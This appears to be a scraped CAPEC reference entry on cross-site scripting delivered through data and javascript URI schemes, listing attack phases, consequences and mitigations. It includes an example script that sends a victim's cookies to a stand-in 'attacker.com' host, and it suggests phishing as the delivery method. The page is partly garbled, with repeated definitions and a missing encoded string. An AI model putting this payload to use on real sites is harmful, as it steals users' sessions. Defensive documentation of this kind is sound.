An attack of this type exploits the ability of most browsers to interpret "data", "javascript" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.
Likelihood Of Attack
High
Typical Severity
High
Relationships
This table shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf and ParentOf, and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore.
Nature
Type
ID
Name
ChildOf
Detailed Attack Pattern - A detailed level attack pattern in CAPEC provides a low level of detail, typically leveraging a specific technique and targeting a specific technology, and expresses a complete execution flow. Detailed attack patterns are more specific than meta attack patterns and standard attack patterns and often require a specific protection mechanism to mitigate actual attacks. A detailed level attack pattern often will leverage a number of different standard level attack patterns chained together to accomplish a goal.
Detailed Attack Pattern - A detailed level attack pattern in CAPEC provides a low level of detail, typically leveraging a specific technique and targeting a specific technology, and expresses a complete execution flow. Detailed attack patterns are more specific than meta attack patterns and standard attack patterns and often require a specific protection mechanism to mitigate actual attacks. A detailed level attack pattern often will leverage a number of different standard level attack patterns chained together to accomplish a goal.
Detailed Attack Pattern - A detailed level attack pattern in CAPEC provides a low level of detail, typically leveraging a specific technique and targeting a specific technology, and expresses a complete execution flow. Detailed attack patterns are more specific than meta attack patterns and standard attack patterns and often require a specific protection mechanism to mitigate actual attacks. A detailed level attack pattern often will leverage a number of different standard level attack patterns chained together to accomplish a goal.
Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
Techniques
Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.
Experiment
Probe identified potential entry points for reflected XSS vulnerability: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various payloads formatted as data URI schemes using base to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
Techniques
Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.
Use a proxy tool to record results of manual input of XSS probes in known URLs.
Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
Techniques
Change a URL parameter to include a malicious payload formatted as a URI scheme, or use the URL returned when the URI scheme was given as input to the web application.
Send information gathered from the malicious script to a remote endpoint.
Exploit
Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
Techniques
Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
Put the malicious URL on a public forum, where many victims might accidentally click the link.
Prerequisites
Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme.
Skills Required
[Level: Medium]
To inject the malicious payload in a web page
Resources Required
Ability to send HTTP request to a web application
Consequences
This table specifies different individual consequences associated with the attack pattern. The Scope identifies the security property that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in their attack. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a pattern will be used to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope
Impact
Likelihood
Integrity
Modify Data
Confidentiality
Read Data
Authorization
Execute Unauthorized Commands
Accountability
Authentication
Authorization
Non-Repudiation
Gain Privileges
Access Control
Authorization
Bypass Protection Mechanism
Mitigations
Design: Use browser technologies that do not allow client side scripting.
Design: Utilize strict type, character, and encoding enforcement.
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.
Implementation: Perform input validation for all remote content, including remote and user-generated content
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as JavaScript in browser
Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.
represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser.
The decoded payload is the following piece of HTML code:
<html>
<body>
<script>
var img = new Image(); img.src = "http://attacker.com/cookiegrabber?"+ encodeURIComponent(document.cookies);
</script>
</body>
</html>
Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack.
An adversary could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute):
<a href="INJECTION_POINT">My Link</a>
Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.
Related Weaknesses
A Related Weakness relationship associates a weakness with this attack pattern. Each association implies a weakness that must exist for a given attack to be successful. If multiple weaknesses are associated with the attack pattern, then any of the weaknesses (but not necessarily all) may be present for the attack to be successful. Each related weakness is identified by a CWE identifier.
Description
This table shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf and ParentOf, and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore.
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